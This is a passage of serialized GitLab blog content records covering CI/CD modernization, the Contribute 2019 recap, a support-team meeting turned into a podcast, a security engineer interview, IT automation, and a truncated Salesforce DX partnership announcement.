for increased deployment velocity, and vice versa.\n\n### 3. Developers doing ops.\n\nToday, teams and individual developers base the code they produce on the capabilities of their environment rather than the needs of the business.\n\n## What do these look like in practice?\n\n### A big portion of resources and budget goes to undifferentiated integration and maintenance.\n\nTeams are siloed by their tools – each team has their favorite and is optimized to work within these specialized tools only. It is difficult to collaborate and troubleshoot across the stack due to a lack of visibility.\n\n### Code sometimes never gets to production at all.\n\nThere is a delay between code being written and driving value. When problems or errors arise and need to be sent back to the developer, it becomes difficult to troubleshoot because the code isn’t fresh in their mind (context switching). They have to stop working on their current project and go back to the previous code to troubleshoot. So much time might have passed that the code is no longer deployable in its current state. In addition to wasting time and money, this is demoralizing for the developer who doesn’t get to see the fruit of their labor.\n\n### Developers worry about environments, not business logic.\n\nEnvironment dependencies and configuration distracts developers from tasks they’re better equipped to handle. They may even be spending time trying to decide what size VM they need to deploy to. In this order “DevOps” means “Developers have to do both dev and ops.” Only a small percentage of developers actually enjoy this arrangement with most asking, “I’m a developer, please stop asking me to do operations.”\n\nIf you’ve already implemented CI/CD but are still experiencing these roadblocks, it might be time to modernize your CI/CD. We invite you to compare GitLab CI/CD to other CI tools and see why we were rated #1 in the Forrester CI Wave™.\n\n[Explore GitLab CI/CD](/solutions/continuous-integration/)\n{: .alert .alert-gitlab-purple .text-center}\n\nPhoto by [Jungwoo Hong](https://unsplash.com/photos/cYUMaCqMYvI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/arrow?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,110,1444],{"slug":29224,"featured":6,"template":678},"modernize-your-ci-cd","content:en-us:blog:modernize-your-ci-cd.yml","Modernize Your Ci Cd","en-us/blog/modernize-your-ci-cd.yml","en-us/blog/modernize-your-ci-cd",{"_path":29230,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29231,"content":29237,"config":29242,"_id":29244,"_type":16,"title":29245,"_source":17,"_file":29246,"_stem":29247,"_extension":20},"/en-us/blog/contribute-wrap-up",{"title":29232,"description":29233,"ogTitle":29232,"ogDescription":29233,"noIndex":6,"ogImage":29234,"ogUrl":29235,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29235,"schema":29236},"What we learned at Contribute 2019","Community is everything, all remote makes contribution possible, CMO Todd Barr plays a mean trumpet, and more takeaways from Contribute 2019.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670139/Blog/Hero%20Images/gitlab-contribute-team-photo.png","https://about.gitlab.com/blog/contribute-wrap-up","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we learned at Contribute 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"},{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-06-04\",\n      }",{"title":29232,"description":29233,"authors":29238,"heroImage":29234,"date":29239,"body":29240,"category":6634,"tags":29241},[11618,17272],"2019-06-04","\n\n“Community is the best part of GitLab.”\n\nThat message, from the [keynote presentation](https://youtu.be/kDfHy7cv96M) during [Contribute 2019 in New Orleans](/events/gitlab-contribute/), sums up the spirit of GitLab’s seventh all-company gathering. Sure CMO (and MC) [Todd Barr](/company/team/#tbarr) added his trumpet to a NOLA classic, \"When the Saints Go Marching In,\" while others shared potentially embarrassing photos and anecdotes from the past. Contribute newbies, who represented more than half of the over 500 attendees, got advice on how to make the most of the unique event, and CEO [Sid Sijbrandij](/company/team/#sytses) made a clear and compelling case for remote work.\n\nBut what stood out most were the ways “community” plays such a vital role at GitLab. “This is our first Contribute,” Sid said. “We changed the name to remind everyone of our mission, that [everyone can contribute](/company/mission/#mission).” In fact, in the product release before Contribute, contributions from the community to GitLab reached an all-time high of 195, Sid said. Because the company is all remote, “everyone can contribute to GitLab on equal footing.”\n\nIn the spirit of community contributions, we asked GitLabbers to share their top takeaways, advice, and feel-good moments from Contribute.\n\n## Your best self\n\n“I’m so pumped for where GitLab is heading,” said strategic account leader [Adam Olson](/company/team/#adamsolson). “Contribute has inspired me to be better GitLabber. (I want to) win more customers while learning more from others.”\n\n## Network like it matters\n\n[Heather Simpson](/company/team/#Heatherswall), senior external communications analyst, got more out of Contribute than expected. “I think because the main focus of Contribute was to spend time getting to know our team members and having fun, the quantity and **quality** of connections I made far exceeded any I'd made at networking or \"team building\" conferences I'd attended with companies in the past.”\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Our \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> CEO put forth a challenge to make our product better while we’re down in \u003Ca href=\"https://twitter.com/hashtag/NOLA?src=hash&amp;ref_src=twsrc%5Etfw\">#NOLA\u003C/a> at \u003Ca href=\"https://twitter.com/hashtag/GitLabContribute?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabContribute\u003C/a> and teams got to work and made several iterative improvements, so \u003Ca href=\"https://twitter.com/sytses?ref_src=twsrc%5Etfw\">@sytses\u003C/a> made good on his word and donned this amazing costume (his wife too!) So good. \u003Ca href=\"https://t.co/8nfQCt0NV0\">pic.twitter.com/8nfQCt0NV0\u003C/a>\u003C/p>&mdash; Heather Simpson 🌈🍃 (@heatherswall) \u003Ca href=\"https://twitter.com/heatherswall/status/1128129734934704129?ref_src=twsrc%5Etfw\">May 14, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Spread the wealth\n\n“This was most definitely the best Contribute ever,” said GitLab's unofficial bacon ambassador [Richard “Reb” Baum](/company/team/#therebbie) (who is also a solutions architect). “Focusing on building relationships allowed us to spread the culture and feel of the company to the large number of new people who have joined since the previous event. As an all-remote company, this is critical to our ongoing success.”\n\n## Continued inspiration\n\n“As an early employee here at GitLab and my sixth [Summit](/company/culture/contribute/previous/), I have never felt more inspired after this week in New Orleans,” said [Philip Camillo](/company/team/#pmanjr311), enterprise account executive. “Working remotely, it’s hard to contextualize hiring 10-12 people a week, and it only hit home when I first walked into the opening keynote. Seeing over 500 people in the main room simply left me speechless.\n\n“Leaving Contribute, I’m inspired by all the team members who received awards and all the people who have helped build the product over the years, as well as new team members making an impact immediately by just jumping in.\n\n“Imagine what we will create if we all work towards generating as much value as possible and making everyone around us inspired. Meeting everyone this last week also made me realize that people see you, and the hard work doesn’t go unnoticed. Working remotely, it can be a bit more difficult to see the direct impact you’re making, and the personal brand you’re building with your colleagues.”\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">A full house of GitLabbers celebrating and gathering around the notion that Everyone Can Contribute \u003Ca href=\"https://twitter.com/hashtag/GitLabContribute?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabContribute\u003C/a> \u003Ca href=\"https://t.co/dWHiSPZGtV\">pic.twitter.com/dWHiSPZGtV\u003C/a>\u003C/p>&mdash; John Northrup (@northrup) \u003Ca href=\"https://twitter.com/northrup/status/1126498724518268929?ref_src=twsrc%5Etfw\">May 9, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Decisions at the speed of light\n\n“I took a lot of notes about the keynote but the thing that really stuck out to me was how Sid emphasized speed of decision making,” said [Emilie Schario](https://gitlab.com/emilie), data engineer, analytics. “That was really a lightbulb moment for me.”\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">My awesome teammate \u003Ca href=\"https://twitter.com/rspaik?ref_src=twsrc%5Etfw\">@rspaik\u003C/a> kicking off day two. Amazing stat he shared: 13.5% of merged MRs to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> come from our community. \u003Ca href=\"https://twitter.com/hashtag/GitLabContribute?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabContribute\u003C/a> \u003Ca href=\"https://t.co/1CUcyFF70y\">pic.twitter.com/1CUcyFF70y\u003C/a>\u003C/p>&mdash; John Coghlan (@john_cogs) \u003Ca href=\"https://twitter.com/john_cogs/status/1126853746754039809?ref_src=twsrc%5Etfw\">May 10, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nYou can check out the rest of the highlights from Contribute below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xdtPNXtkBhE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo directed and produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n",[267,754,676,3798],{"slug":29243,"featured":6,"template":678},"contribute-wrap-up","content:en-us:blog:contribute-wrap-up.yml","Contribute Wrap Up","en-us/blog/contribute-wrap-up.yml","en-us/blog/contribute-wrap-up",{"_path":29249,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29250,"content":29256,"config":29261,"_id":29263,"_type":16,"title":29264,"_source":17,"_file":29265,"_stem":29266,"_extension":20},"/en-us/blog/how-we-turned-40-person-meeting-into-a-podcast",{"title":29251,"description":29252,"ogTitle":29251,"ogDescription":29252,"noIndex":6,"ogImage":29253,"ogUrl":29254,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29254,"schema":29255},"How we turned a dull weekly all-hands into a podcast","We love asynchronous communication so much that we turned a uninspiring department-wide meeting into an engaging podcast – here's why and how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671055/Blog/Hero%20Images/headphones-colorful-background.jpg","https://about.gitlab.com/blog/how-we-turned-40-person-meeting-into-a-podcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we turned a dull weekly all-hands into a podcast\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2019-06-03\",\n      }",{"title":29251,"description":29252,"authors":29257,"heroImage":29253,"date":29258,"body":29259,"category":6634,"tags":29260},[5706],"2019-06-03","\nWe’ve all been there: A department all-hands. At GitLab, we’ve got them too. They’re important: There’s information you need to know, and there’s really only one way to handle it. While it’s true that we’re [all-remote](/company/culture/all-remote/), and everyone joins from their location of choice, they’re still:\n\n - Slow\n - Synchronous\n - Soul-sucking\n\nA few months ago, one of our Support Engineering Managers ([Lee](/company/team/#leematos)) proposed that we try and embrace our value of [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) and [transition this agenda-driven meeting into a pure agenda](https://gitlab.com/gitlab-com/support/support-team-meta/issues/1394), and remove the need for face-to-face communication.\n\nMaking a big transition like this did leave us with some concerns:\n\n### Synchronous meetings can be a chance for people to connect\n\nAt GitLab we recognize the value of getting to know one’s teammates. Employees are encouraged to schedule [coffee chats](/company/culture/all-remote/tips/#coffee-chats) throughout their time at GitLab to get to know one another. (In fact, we think it’s so important that it’s one of the key tasks in [new employee onboarding](https://gitlab.com/gitlab-com/people-group/employment-templates/-/blob/main/.gitlab/issue_templates/onboarding.md#all-gitlabbers) ) We even have a consistent small group of people many of us meet up with (on video) four days a week [to connect on a purely personal level](/handbook/communication/#breakout-call) built into the company calendar. These calls aren’t forced, but attendance is organic and inviting, because you will start to build connections. This is especially important in an all-remote organization.\n\nTeam-level meetings can also be an important time to sync up and have time to banter and share personalities. However, we noticed that as the room grew these interactions became less natural. Within the structure of the meeting we tried to correct this with process: Rotating meeting chairs, asking people to post a “Friday Song,” and including a specific meeting section called “Cheerful Banter.” It didn’t work.\n\nUltimately it was a subset of voices who felt comfortable participating in these ways. Meetings beyond a certain size appear to lose their value as a chance for connection. They were less a conversation and more an address. As a result, we felt that we’d have more results concentrating on other avenues for the support team to express themselves and get to know one another.\n\n>We tried rotating meeting chairs, asking people to post a “Friday Song,” and including a specific meeting section called “Cheerful Banter.” It didn’t work.\n\n### Synchronous meetings are a scheduled touchpoint\n\nWhile all of our meetings are recorded and can be watched after the fact, there’s still something about having a cadence to the week. If there’s a meeting every Friday, I know that my brain will be getting new information on Fridays.\n\nTransitioning to a meeting where there is no actual meeting left us with the challenge of making sure people read the document regularly.\n\nTo solve this, we have two touch points during the week: On Wednesdays we have an automated Slack reminder to put things in the document. On Fridays, we have an automated cut-off message that starts a Slack thread for discussion of the week's items. This structure gives a little bit of “rails” that really help package up the meeting.\n\n### Synchronous meetings (at GitLab) can be a chance to absorb while working on something else\n\nThere’s something about having the ability to turn off your camera (or watch the video after the fact). I, personally, enjoy having the space that being an inactive participant in a conversation allows. I’ll often chop vegetables, fold laundry, or go for a run while listening along.\n\nIn fact, this type of passive listening while working on something else is not discouraged at GitLab, in fact it’s [actively encouraged in our handbook](/handbook/communication/#video-calls).\n\nAs we discussed the idea of changing this meeting, we thought it would work best if there was a format that would be efficient and multi-channel. As a big fan of podcasts myself, I thought that the format might work well.\n\n### Putting it together\n\nIf you’re interested in the nitty gritty details, we’ve made a [workflow about how the podcast is actually put together](/handbook/support/workflows/how-to-WIR-podcast.html) in the Handbook.\n\n![Slackbot reminder](https://about.gitlab.com/images/blogimages/slackbot-week-in-review.png){: .shadow.medium.center}\nSlackbot reminds us to add content to the document every Wednesday\n{: .note.text-center}\n\nBriefly, one or more team members will first take a look at each of the links in a the \"Week in Review\" document and the surrounding narrative to build out a script. They'll next pull metrics from our dashboards surrounding our [performance indicators](https://about.gitlab.com/company/kpis/#engineering-kpis) and other numbers we're tracking, like the [number of pairing sessions](https://gitlab.com/gitlab-com/support/support-training/milestones/7). Finally, all together the final recording, mixing and exporting happens – all before 12:00pm PST when a Slackbot announces the release.\n\nAll said, in many ways the ‘new’ format mirrors the old. We still move issues forward, make announcements, thank one another, review our metrics, and tell personal stories. Managers still wax poetic about the things that managers wax poetic about. Team members (probably) still roll their eyes. The biggest difference is that we’ve compressed an hour of “chair time” for 40 people into 10-15 minutes of anything time. And the data is still shareable, and readable too. I call that a win/win/win.\n\nWant to hear what it actually sounds like? Check out our [Support Week in Review from May 31, 2019](https://drive.google.com/open?id=1irQgehSpD2lxxYHQoQh4gBsHnZQLLMj9).\n\nIn what ways can you more efficiently organize and disseminate information in your organization? Do you think a podcast would help? Let us know in the comments or tweet us [@gitlab](https://twitter.com/gitlab).\n\nPhoto by Matthieu A on Unsplash\n{: .note}\n",[2368,754,676,3798],{"slug":29262,"featured":6,"template":678},"how-we-turned-40-person-meeting-into-a-podcast","content:en-us:blog:how-we-turned-40-person-meeting-into-a-podcast.yml","How We Turned 40 Person Meeting Into A Podcast","en-us/blog/how-we-turned-40-person-meeting-into-a-podcast.yml","en-us/blog/how-we-turned-40-person-meeting-into-a-podcast",{"_path":29268,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29269,"content":29274,"config":29279,"_id":29281,"_type":16,"title":29282,"_source":17,"_file":29283,"_stem":29284,"_extension":20},"/en-us/blog/ask-gitlab-security-paul-harrison",{"title":29270,"description":29271,"ogTitle":29270,"ogDescription":29271,"noIndex":6,"ogImage":28863,"ogUrl":29272,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29272,"schema":29273},"Ask GitLab Security: Paul Harrison","What’s it like working to secure one of the most transparent organizations in the world? Meet our security team.","https://about.gitlab.com/blog/ask-gitlab-security-paul-harrison","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Paul Harrison\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-05-31\",\n      }",{"title":29270,"description":29271,"authors":29275,"heroImage":28863,"date":29276,"body":29277,"category":674,"tags":29278},[12307],"2019-05-31","\nWhat’s it like working to secure one of the most transparent organizations in the world?  To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual ... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in this series, but that you enjoy yourself too.\n{: .note}\n\n\n![Paul Harrison Headshot](https://about.gitlab.com/images/blogimages/paul-harrison-headshot.png){: .small.right.wrap-text} **Name:** Paul Harrison\n\n**Title:** Senior Security Engineer / Interim Security Manager, Security Operations\n\n**How long have you been at GitLab?** I started in January 2019\n\n**GitLab handle:** [@pharrison](https://gitlab.com/pharrison)\n{: #tanuki-orange}\n\n**Connect with Paul:** [LinkedIn](https://www.linkedin.com/in/pharrison33) / [Twitter](https://twitter.com/iyampaul)\n\n\n#### Tell us what you do here at GitLab:\nI’m responsible for defining and implementing the operational security response processes and procedures to handle new and emerging risks to GitLab the company, the product, and GitLab.com. I’m also involved in day-to-day security event handling and engaging with partner teams around GitLab on any related questions or issues.\n\n#### What’s the most challenging or rewarding aspect of your role?\nThe most challenging AND rewarding aspect is helping to design our security posture and working to meet those goals one step at a time. This is incredibly unique and challenging as we’re 100 percent remote, the topography of the company and its environments is constantly iterating, and we want to ensure we hold true to our [values](https://handbook.gitlab.com/handbook/values/) by being as transparent and open as possible.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Operational Security Architecture: Designing the end-to-end flow of how security risks, events, and incidents are handled across GitLab. (Handbook MR coming soon!)\n- [Log Aggregation Working Group](/company/team/structure/working-groups/log-aggregation/): Analyzing, documenting, and working with Infrastructure and Development teams to improve the quality and efficiency of logs being produced by GitLab-CE/EE and GitLab.com.\n\n#### How did you get into security?\nDialing into local [BBS](https://en.wikipedia.org/wiki/Bulletin_board_system)s in the early '90s, IRC in the mid-90s, and being introduced to reading material like Phrack, 2600, and other amusing bits at an early and malleable age. Combined with a general interest in discovering how things work, breaking them in the process, and the kind of interesting things you can find!\n\n#### In the past decade, how has your area of expertise changed?\n10 years ago I was almost entirely focused on the security and compliance tools necessary to keep a solid grasp on enterprise email (well ... as best as you can!). From there, I broadened my horizons by taking on security management and architecture of local and remotely hosted environments, then compliance for interesting and terrifying acronyms like GDPR. This has resulted in a decent breadth of knowledge in many areas … and enough to be dangerous in others.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend?\nPlease, please, please, please use a password manager like 1Password, or LastPass, or Bitwarden (examples, not endorsements, YMMV and pick what fits your workflow best!) and start using it to generate and save unique and difficult passwords for each of your sites or services. You won’t need to remember them and so you don’t need to use a memorable one. Then, while you’re at it, turn on two-factor authentication (2FA), and not that SMS/text message-based one. Use an app like Google Authenticator or Microsoft Authenticator, which will give you the six-digit number (aka Time-Based, One-Time Password) on your mobile device, or better. Having strong, unique passwords and 2FA enabled will significantly decrease the chance of your accounts being compromised.\n\n#### GitLab is very unique in that we strive to be incredibly transparent...about everything. What sort of challenges does that present to you as a security professional? What opportunities?\n**_First, the opportunities:_**\n\nStriving, and for the vast majority of situations, succeeding, at being transparent is a hugely rewarding and helpful experience for both GitLab and the community. At first I was sceptical and from working with very tight-lipped organizations with their well-massaged disclosure communications, my mindset has been to not “air our dirty laundry.” **But, being able to be transparent about vulnerabilities and issues means:**\n- The community can see how we became aware of, handled, and resolved the situation, then subsequently learned from it so we won’t repeat the issue.  This information might help them in their own environment, or their own processes, and, we hope, might also increase their trust in our product!\n- We can give credit to all the awesome, hard-working, and talented people at GitLab who come up with clever and creative solutions to protect our customers and their data. When the issues are public, anyone can see who worked it, came up with the obscure and amazing solution, and deployed it. In most companies this information is part of their secret sauce, but this is something we can, should, and do celebrate.\n\n**_Now, the challenges:_**\n- The need to keep vulnerability details close so our customers have the opportunity to update before it’s being exploited in the wild.\n- Old habits die hard, particularly in the Security community. When the default state in most companies is to lock away and carefully communicate a well-crafted and rehearsed statement, transparency is something to get used to and can be uncomfortable for many people who’ve been in the industry for a while.\n- Determining, and sticking with, the few rare scenarios where, due to the sensitive nature, it is necessary to keep certain data confidential.  Scope creep can be hard.\n\n#### What are your thoughts on cybersecurity bachelor’s degrees as a way to scale training of security professionals?\nWith the premise of a bachelor’s degree being more focused on providing the deep, foundational knowledge and enabling people to continue to learn after completing the degree, a Security-focused bachelor’s program could be valuable. However, the continued learning aspect is absolutely a necessity in this space as, despite [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) (for example) having largely remained unchanged, the rest of the security landscape has shifted tremendously in the last decade. Without having the willingness to grow and the tools at your disposal to understand how to grow, you would have a difficult time.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Favorite Linux distro?\nDebian, specifically Debian Stable. It just works. Fast and reliable for server use and great for a desktop/workstation. I’ve been using Debian since version 5 or 6 and it is always my first choice when setting up a new system.\n\n#### You get one superpower, what is it?\nI’d like to be able to look at any one plant and make it to grow at any speed and to any size I wish. I could make one beanstalk be 100 feet tall and 3 feet wide, or a fully formed spruce tree but scaled down to a foot, all in a matter of seconds!\n\n#### Now, it’s time for the age-old debate: Is a hotdog a sandwich? And, on that note, is a taco a sandwich?\nNeither a hotdog nor a taco are sandwiches! A sandwich is formed by bringing together two distinct pieces of something to hold an object or several objects between them, sandwiched between them one could say! A hotdog or taco are different from a sandwich because in both circumstances the hotdog itself (aka meat-tube) or the taco fillings are inserted into a crevice formed from a single continuous piece of something, which is no longer sandwiching anything but instead is actually formed to enable the holding of the hotdog or taco-fillings.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[7715,676,674,674],{"slug":29280,"featured":6,"template":678},"ask-gitlab-security-paul-harrison","content:en-us:blog:ask-gitlab-security-paul-harrison.yml","Ask Gitlab Security Paul Harrison","en-us/blog/ask-gitlab-security-paul-harrison.yml","en-us/blog/ask-gitlab-security-paul-harrison",{"_path":29286,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29287,"content":29293,"config":29298,"_id":29300,"_type":16,"title":29301,"_source":17,"_file":29302,"_stem":29303,"_extension":20},"/en-us/blog/it-automation-developer-productivity",{"title":29288,"description":29289,"ogTitle":29288,"ogDescription":29289,"noIndex":6,"ogImage":29290,"ogUrl":29291,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29291,"schema":29292},"How IT automation impacts developer productivity","See how IT automation promotes a healthier IT culture and unlocks next-level DevOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670529/Blog/Hero%20Images/automate-retrospectives.jpg","https://about.gitlab.com/blog/it-automation-developer-productivity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How IT automation impacts developer productivity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-05-30\",\n      }",{"title":29288,"description":29289,"authors":29294,"heroImage":29290,"date":29295,"body":29296,"category":734,"tags":29297},[18462],"2019-05-30","\n\nQuestion: If developers spend the bulk of their days on painful, manual tasks, would you say that’s the best use of their time? In a development environment that is always [trying to do more with less](/topics/devops/reduce-devops-costs/), manual processes are productivity killers.\n\nAutomation makes it possible for engineering talent to use their skills on projects that add real business value and contribute to long-term growth. In the world of QA, test automation is creating a modern strategy [focused on excellent user experiences](/blog/trends-in-test-automation/). IT automation makes it possible to deploy applications faster and increase developer productivity, making the DevOps lifecycle more seamless.\n\n\n## The right people doing the right tasks\n\nIT automation ensures businesses have the right people performing the right tasks, and that has some unexpected benefits. Directing developer talent toward strategic initiatives actually creates a healthier DevOps culture. When developers can work on challenges that are more aligned with their role, they’re likely to be happier and more motivated, and that in turn helps with retention. One of the top reasons developers leave is because [they feel unchallenged in their work](https://differential.com/insights/why-software-developers-leave-and-best-ways-to-retain-them/). IT automation lets developers use their skills for projects where they’re most suited.\n\nThere’s a cost benefit to IT automation, as well. If you have senior engineers working on basic maintenance, [you’re spending too much on maintenance](https://enterprisersproject.com/article/2017/12/5-factors-fueling-automation-it-now), period. Even if you limit these tasks to junior levels, you’re probably still spending too much. While there's a lot more to automation than reducing costs, it's an undeniable benefit.\n\nIf it can be automated, it probably should be.\n\n\n## Automating for growth\n\nAs organizations innovate and increase their deployments, they’ll need IT architecture that supports that growth. Could engineers manually develop and configure 50, 100, or even 200 servers? Sure. But what about 1,000 or 2,000? That’s where IT automation becomes a necessity for scalable workloads. Putting special focus on the handoffs between processes (where waste most often occurs) is how leaders can identify the best automation opportunities. [Value stream mapping](https://www.linkedin.com/pulse/automate-question-ricardo-coelho-de-sousa/) is a method used to uncover what should be fully automated, and what may only need partial automation in the interim.\n\nWithout the right IT automation, growth will undoubtedly suffer as teams need more and more staff to keep up with demand. Automation and collaboration are an essential part of operational efficiency, accelerating delivery, and innovating products. CI/CD is the link that connects developers and operations, and that automation helps developers teams build better software and vastly improves the handoff process.\n\n\n## Minimizing risk\n\nReducing manual work [minimizes the risk of human error](https://techbeacon.com/devops/how-take-architectural-approach-it-automation), which gives IT the ability to focus on mission-critical tasks rather than cleaning up mistakes. IT automation also adds a system of checks and balances, so if a mistake happens, errors can be rolled back painlessly.\n\nAutomation tools and containers can make security more efficient. [Kubernetes](/solutions/kubernetes/) not only manages container deployments, it can also orchestrate security tasks. “You really want automation, orchestration to help manage which containers should be deployed to which hosts … knowing which containers need to access each other; managing shared resources, and monitoring container health,” says Red Hat security strategist Kirsten Newcomer. “[As you scale up your use of containers and microservices, automation soon becomes a core need](https://enterprisersproject.com/it-automation).”\n\nRemoving the human error component gives developers the peace of mind to work at the pace they want.\n\n\n## Keeping up with innovation\n\nSpeaking of speed – in the (not so distant) past, developers had to write docs and notify teammates about changes in the cloud environment, share content about provisioning and de-provisioning, synchronize problems, and exchange emails. All of that took time. The fewer barriers developers have between code and deployment, the better.\n\n[DevOps tools have created a buffer that allows developers and operations teams to work independently](https://www.infoworld.com/article/3230285/how-devops-changes-dev-and-ops.html). Automation is just a continuation of that DevOps journey – developers can work in real time, and operations teams still procure hardware and manage servers, but at a larger scale. Automation works best when you have specific objectives in mind.\n\nThe team at Monkton had a goal: The moment code is checked in and reviewed, they wanted the testing, deployment, and the security vulnerability scanning lifecycles automated. They wanted their people to do what they do best but had a hodgepodge of tools that couldn’t work together. They brought in better tools to automate those processes, tied them into GitLab, and now they have the repeatability they need at the speed they want.\n\n[Read their story](/blog/monkton-moves-to-gitlab-customer-story/).\n{: .alert .alert-gitlab-purple .text-center}\n\nIT automation is what makes next-level DevOps possible and gives developers the opportunity to use their skills in ways that add real, long-term value. When organizations automate mundane, manual tasks, they save costs and create a healthy IT culture where developers are challenged and processes are efficient – a real win-win.\n\nAre you ready to explore the benefits of IT automation and increase developer productivity? [Just commit](/blog/application-modernization-best-practices/).\n\nPhoto by [Daniele Levis Pelusi](https://unsplash.com/photos/Pp9qkEV_xPk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/automation?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,1899,110],{"slug":29299,"featured":6,"template":678},"it-automation-developer-productivity","content:en-us:blog:it-automation-developer-productivity.yml","It Automation Developer Productivity","en-us/blog/it-automation-developer-productivity.yml","en-us/blog/it-automation-developer-productivity",{"_path":29305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29306,"content":29312,"config":29318,"_id":29320,"_type":16,"title":29321,"_source":17,"_file":29322,"_stem":29323,"_extension":20},"/en-us/blog/sfdx-promo-trailhead-blog",{"title":29307,"description":29308,"ogTitle":29307,"ogDescription":29308,"noIndex":6,"ogImage":29309,"ogUrl":29310,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29310,"schema":29311},"Salesforce developers can now use GitLab for complete DevOps","Learn what’s possible with GitLab and Salesforce, whether you’re looking to reduce cycle time or increase collaboration across cross-functional teams.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680624/Blog/Hero%20Images/gitlab-salesforce.png","https://about.gitlab.com/blog/sfdx-promo-trailhead-blog","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Salesforce developers can now use GitLab's single application for the DevOps lifecycle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayank Tahilramani\"}],\n        \"datePublished\": \"2019-05-29\",\n      }",{"title":29313,"description":29308,"authors":29314,"heroImage":29309,"date":29315,"body":29316,"category":299,"tags":29317},"Salesforce developers can now use GitLab's single application for the DevOps lifecycle",[26326],"2019-05-29","\n\nGreat news – we're partnering with Salesforce to offer developers more [agile delivery practices](/solutions/agile-delivery/) and [increased automation](https://docs.gitlab.com/ee/topics/autodevops/) throughout the DevOps lifecycle. Developers can leverage the following capabilities from GitLab for Salesforce DX: [Source Code Management (SCM)](/solutions/source-code-management/), [Continuous Integration (CI) and Continuous Delivery (CD)](/solutions/continuous-integration/), [Project Management](https://about.gitlab.com/solutions/agile-delivery/), and [much more](/pricing/feature-comparison/). Many businesses already run on Salesforce and are just starting to explore the latest and greatest that Salesforce DX has to offer in terms of tooling and functionality to rapidly build apps and enhancements onto their platform. Our partnership with Salesforce will help our customers to reduce cycle times and [deliver business value at the speed of business](/blog/align-business-strategy-and-app-delivery/).\n\n## How GitLab + Salesforce DX work together\n\nSalesforce has been investing in APIs and platform features that allow developers to create and administer Salesforce-connected apps in a more direct and efficient way. With GitLab, developers can now supplement Salesforce development tools through a [templatized CI/CD 